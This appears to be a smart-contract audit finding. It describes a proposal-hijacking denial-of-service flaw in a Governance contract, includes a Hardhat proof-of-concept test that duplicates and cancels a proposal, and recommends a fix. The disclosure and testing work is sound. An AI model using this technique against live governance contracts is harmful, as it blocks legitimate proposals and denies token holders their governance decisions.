Summary
A vulnerability in the Governance contract allows attackers to hijack proposals by duplicating their descriptions, queueing their own copy ahead of the original, and then cancelling it. This prevents the original proposal from ever being executed, effectively creating a Governance Denial of Service (DoS) attack.
Vulnerability Details
The Governance#propose() doesn't identify propose correctly.
There's no validation of description that are already created. The propose ID is generated by propose()'s arguments and description is important.
Normal success flow:
Proposal created -> castVote() -> execute(_queueProposal) -> execute(_executeProposal())
Attacker flow:
Proposal created -> castVote() -> execute(_queueProposal) -> cancel()
Attack scenario:
The attacker submits the same description as a valid proposal, their propose will have the same ID.
The attacker can queue their proposal first and cancel it before execution.
The original proposal is now invalid (ID already exists), blocking governance actions.
Proof Of Code
Testcode is written "Integration Scenarios" module in Governance.test.js
it("proposal hijacking", async () => {
const currentTime = await time.latest();
const startTime = Math.floor((currentTime + WEEK) / WEEK) * WEEK;
await time.setNextBlockTimestamp(startTime);
await network.provider.send("evm_mine");
const tx1 = await governance.connect(user1).propose(
[await testTarget.getAddress()],
[0],
[testTarget.interface.encodeFunctionData("setValue", [42])],
"Test Proposal",
0
);
const receipt1 = await tx1.wait();
const event1 = receipt1.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const proposalId1 = event1.args.proposalId;
const tx2 = await governance.connect(user2).propose(
[await testTarget.getAddress()],
[0],
[testTarget.interface.encodeFunctionData("setValue", [42])],
"Test Proposal",
0
);
const receipt2 = await tx2.wait();
const event2 = receipt2.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const proposalId2 = event2.args.proposalId;
await time.increase(VOTING_DELAY);
await network.provider.send("evm_mine");
expect(await governance.state(proposalId1)).to.equal(ProposalState.Active);
expect(await governance.state(proposalId2)).to.equal(ProposalState.Active);
await castVotesOnProposals(proposalId1, proposalId2);
await time.increaseTo(startTime + VOTING_DELAY + VOTING_PERIOD);
await network.provider.send("evm_mine");
expect(await governance.state(proposalId1)).to.equal(ProposalState.Succeeded);
expect(await governance.state(proposalId2)).to.equal(ProposalState.Succeeded);
await governance.execute(proposalId2);
await governance.connect(user2).cancel(proposalId2);
await governance.execute(proposalId1);
});
proposalId1 can't be executed due to proposalId2 canceled.
Impact
Attackers can prevent valid proposals from being executed.
Tools Used
manual
Recommendations
Reference to Openzeppelin's Governor#propose().
Append proposer's address to description.